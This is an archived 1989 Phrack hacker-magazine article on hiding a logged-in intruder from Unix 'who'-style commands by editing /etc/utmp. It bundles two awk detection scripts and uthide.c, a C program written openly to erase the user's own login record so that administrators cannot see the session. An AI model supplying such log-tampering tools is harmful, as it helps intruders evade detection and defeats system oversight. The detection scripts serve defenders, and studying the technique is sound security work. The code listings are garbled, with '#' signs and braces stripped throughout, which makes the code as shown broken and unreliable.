home *** CD-ROM | disk | FTP | other *** search
/ Hacker Chronicles 1 / HACKER1.ISO / phrk3 / phrack25.6 < prev    next >
Text File  |  1992-09-26  |  9KB  |  238 lines

  1.                                 ==Phrack Inc.==
  2.  
  3.                      Volume Three, Issue 25, File 6 of 11
  4.  
  5.                              HIDING OUT UNDER UNIX
  6.  
  7.                               By BLACK TIE AFFAIR
  8.  
  9.                                 March 25, 1989
  10.  
  11.  
  12. Under Unix, a user can see who's currently logged into the system with commands
  13. like 'who', 'finger' and 'w'.  All these programs gather parts or all of their
  14. information by looking at the file /etc/utmp.
  15.  
  16. This file contains one record for each terminal connected to the system and
  17. activated for logins.  The format of the record differs between the various
  18. Unix versions, but there are common fields which exist on every popular Unix
  19. descent:  The name of the terminal device (ut_line) and the name of the user
  20. logged in on that line (ut_user).
  21.  
  22. Though the design of the Unix operating system is basically (!) consistent,
  23. this scheme shows some problems.  The information whether a process is
  24. considered to be a terminal session is not kept in the process itself, but in a
  25. separate file.  Thus, it is the duty of user mode programs to keep this file up
  26. to date, and gives an excellent point for a hacker to put his drill on.  To be
  27. fair here, other operating systems have similar problems.  But we're talking
  28. Unix currently.
  29.  
  30. There is another mechanism available under Unix, which can provide information
  31. about terminal sessions:  The 'controlling tty'.  The first terminal device a
  32. process opens becomes that process controlling tty.  Unix uses this information
  33. internally to determine which processes should be signaled when the user types
  34. one of the signal generating keys (CTRL-C, CTRL-\ etc.) on the terminal.  When
  35. such a character is encountered by the terminal driver, all processes which
  36. have this terminal device as controlling tty receive the signal corresponding
  37. to that character.
  38.  
  39. A process is not needingly an interactive session if it has a controlling tty,
  40. though.  Any process which opens a terminal device (which could be a network
  41. process which uses a tty device for communication to another machine) has this
  42. terminal as it's controlling tty.
  43.  
  44. As such, it is good practice to cross-check the contents of the utmp file with
  45. all processes in the system which have a controlling tty.  Two shell scripts
  46. which exactly do this on BSD and System V Unix systems are included at the end
  47. of this file.  Both perform the same function:  They use who(1) to get a list
  48. of the sessions mentioned in the utmp file, and ps(1) to get a list of all
  49. processes currently running.  It outputs all processes which have a controlling
  50. tty but are not visible with who(1).  A little flaw here is the fact that
  51. getty processes waiting on a terminal for someone to log in are displayed.
  52.  
  53. The family of 'who'-programs just scans the utmp-file for entries which belong
  54. to an active login session, and formats those records to be human-readable.
  55. The decision whether an entry corresponds to an active session is different
  56. under different Unix versions.  Those who have the old utmp file format (System
  57. III, System 5R1, BSD) look at the ut_user field.  If the first byte is
  58. non-null, the entry is considered to correspond to an active session.  Under
  59. System 5 since release 2, the utmp structure has been enhanced to contain a
  60. type field (ut_type) which tells about the type of the entry.  who(1) only
  61. displays a record, when the ut_type field contains the value USER_PROCESS (as
  62. defined in /usr/include/utmp.h).  Other records are ignored unless the -a
  63. option is specified to who(1).
  64.  
  65. Being invisible to the who-family of programs gives some advantage to a hacker.
  66. He can stay in the system with a degraded risk of being discovered by a system
  67. manager who spies around.  Of course, a system with a properly protected utmp
  68. file is not vulnerable to this kind of hide out, provided that the hacker
  69. didn't manage to get root access.  For clearance, a little C program which
  70. demonstrates this kind of hideout is included in the shar file at the end of
  71. this article.  Just compile and run it with proper permissions to see how to
  72. hide.
  73.  
  74. ! /bin/sh
  75.  This is a shell archive.  Remove anything before this line, then feed it
  76.  into a shell via "sh file" or similar.  To overwrite existing files,
  77.  type "sh file -c".
  78.  The tool that generated this appeared in the comp.sources.unix newsgroup;
  79.  send mail to comp-sources-unix@uunet.uu.net if you want that tool.
  80.  If this archive is complete, you will see the following message at the end:
  81.                "End of shell archive."
  82.  Contents:  check.bsd check.sysv uthide.c
  83. PATH=/bin:/usr/bin:/usr/ucb ; export PATH
  84. if test -f 'check.bsd' -a "$1" != "-c" ; then
  85.   echo shar: Will not clobber existing file \"'check.bsd'\"
  86. else
  87. echo shar: Extracting \"'check.bsd'\" \(305 characters\)
  88. sed "s/^X//" >'check.bsd' <<'END_OF_FILE'
  89. X:
  90. X
  91. X(who ; echo "___" ; ps au) | awk '
  92. X              if ($0 == "___")
  93. X                       pslist = 1
  94. X                       next
  95. X
  96. X               if ( pslist )
  97. X                       if (ttys[$7] == 0)
  98. X                               print $0
  99. X
  100. X                else
  101. X                       if (substr($2, 0, 3) == "tty")
  102. X                               id = substr($2, 4, 2)
  103. X                               ttys[id] = 1
  104. X                        else
  105. X                               if ($2 == "console")
  106. X                                       ttys["co"] = 1
  107. X
  108. X
  109. X
  110.  
  111. END_OF_FILE
  112. if test 306 -ne `wc -c <'check.bsd'`; then
  113.     echo shar: \"'check.bsd'\" unpacked with wrong size!
  114. fi
  115.  end of 'check.bsd'
  116. fi
  117. if test -f 'check.sysv' -a "$1" != "-c" ; then
  118.   echo shar: Will not clobber existing file \"'check.sysv'\"
  119. else
  120. echo shar: Extracting \"'check.sysv'\" \(312 characters\)
  121. sed "s/^X//" >'check.sysv' <<'END_OF_FILE'
  122. X:
  123. X
  124. X(who ; echo "___" ; ps -fe) | awk '
  125. X              if ($0 == "___")
  126. X                       pslist = 1
  127. X                       next
  128. X
  129. X               if ( pslist )
  130. X                       if ($6 != "?" && ttys[$6] == 0)
  131. X                               print $0
  132. X
  133. X                else
  134. X                       if (substr($2, 0, 3) == "tty")
  135. X                               id = substr($2, 4, 2)
  136. X                               ttys[id] = 1
  137. X                        else
  138. X                               if ($2 == "console")
  139. X                                       ttys["co"] = 1
  140. X
  141. X
  142.  
  143. END_OF_FILE
  144. if test 313 -ne `wc -c <'check.sysv'`; then
  145.     echo shar: \"'check.sysv'\" unpacked with wrong size!
  146. fi
  147.  end of 'check.sysv'
  148. fi
  149. if test -f 'uthide.c' -a "$1" != "-c" ; then
  150.   echo shar: Will not clobber existing file \"'uthide.c'\"
  151. else
  152. echo shar: Extracting \"'uthide.c'\" \(1295 characters\)
  153. sed "s/^X//" >'uthide.c' <<'END_OF_FILE'
  154. X/* hide.c - needs write access to /etc/utmp */
  155. X
  156. Xinclude <sys/types.h>
  157. Xinclude <utmp.h>
  158. Xinclude <fcntl.h>
  159. X
  160. Xdefine UTMP "/etc/utmp"
  161. X
  162. Xifndef INIT_PROCESS
  163. X/* this is some system with this useless utmp format.  we assume bsd, but
  164. X * it could well be system III or some other historic version.  but come
  165. X * on, guys -- go the modern way ;-)
  166. X */
  167. Xdefine        BSD
  168. Xendif
  169. X
  170. Xifdef BSD
  171. Xdefine        strrchr rindex
  172. Xelse
  173. Xdefine bzero(s,n) memset(s,'\0',n)
  174. Xendif
  175. X
  176. Xchar *
  177. Xbasename(path)
  178. X
  179. X       char    *path;
  180. X      char    *p, *strrchr();
  181. X
  182. X       return((path && (p = strrchr(path, '/'))) ? p+1 : path);
  183. X
  184. X
  185. Xmain()
  186. X
  187. X      struct  utmp    ut;
  188. X       int             fd;
  189. X       char            *strrchr();
  190. X       char            *ttyname(), *tty = basename(ttyname(0));
  191. X
  192. X       if (!tty)
  193. X               puts("not on a tty");
  194. X               exit(1);
  195. X
  196. X
  197. X       if ((fd = open(UTMP, O_RDWR)) < 0)
  198. X               perror(UTMP);
  199. X               exit(2);
  200. X
  201. X
  202. X       while (read(fd, &ut, sizeof(ut)) == sizeof(ut))
  203. X               if (!strncmp(ut.ut_line, tty, sizeof(ut.ut_line)))
  204. X                       bzero(ut.ut_name, sizeof(ut.ut_name));
  205. Xifndef BSD
  206. X                       ut.ut_type = INIT_PROCESS;
  207. X                       ut.ut_pid = 1;
  208. Xelse
  209. X                       bzero(ut.ut_host, sizeof(ut.ut_host));
  210. Xendif BSD
  211. X                       if (lseek(fd, -sizeof(ut), 1) < 0)
  212. X                               puts("seek error");
  213. X                               exit(3);
  214. X
  215. X                       if (write(fd, &ut, sizeof(ut)) != sizeof(ut))
  216. X                               puts("write error");
  217. X                               exit(4);
  218. X
  219. X                       exit(0);
  220. X
  221. X
  222. X
  223. X       puts("you don't exist");
  224. X       exit(5);
  225. X
  226.  
  227. END_OF_FILE
  228. if test 1296 -ne `wc -c <'uthide.c'`; then
  229.     echo shar: \"'uthide.c'\" unpacked with wrong size!
  230. fi
  231.  end of 'uthide.c'
  232. fi
  233. echo shar: End of shell archive.
  234. exit 0
  235. _______________________________________________________________________________
  236.  
  237. Downloaded From P-80 International Information Systems 304-744-2253 12yrs+
  238.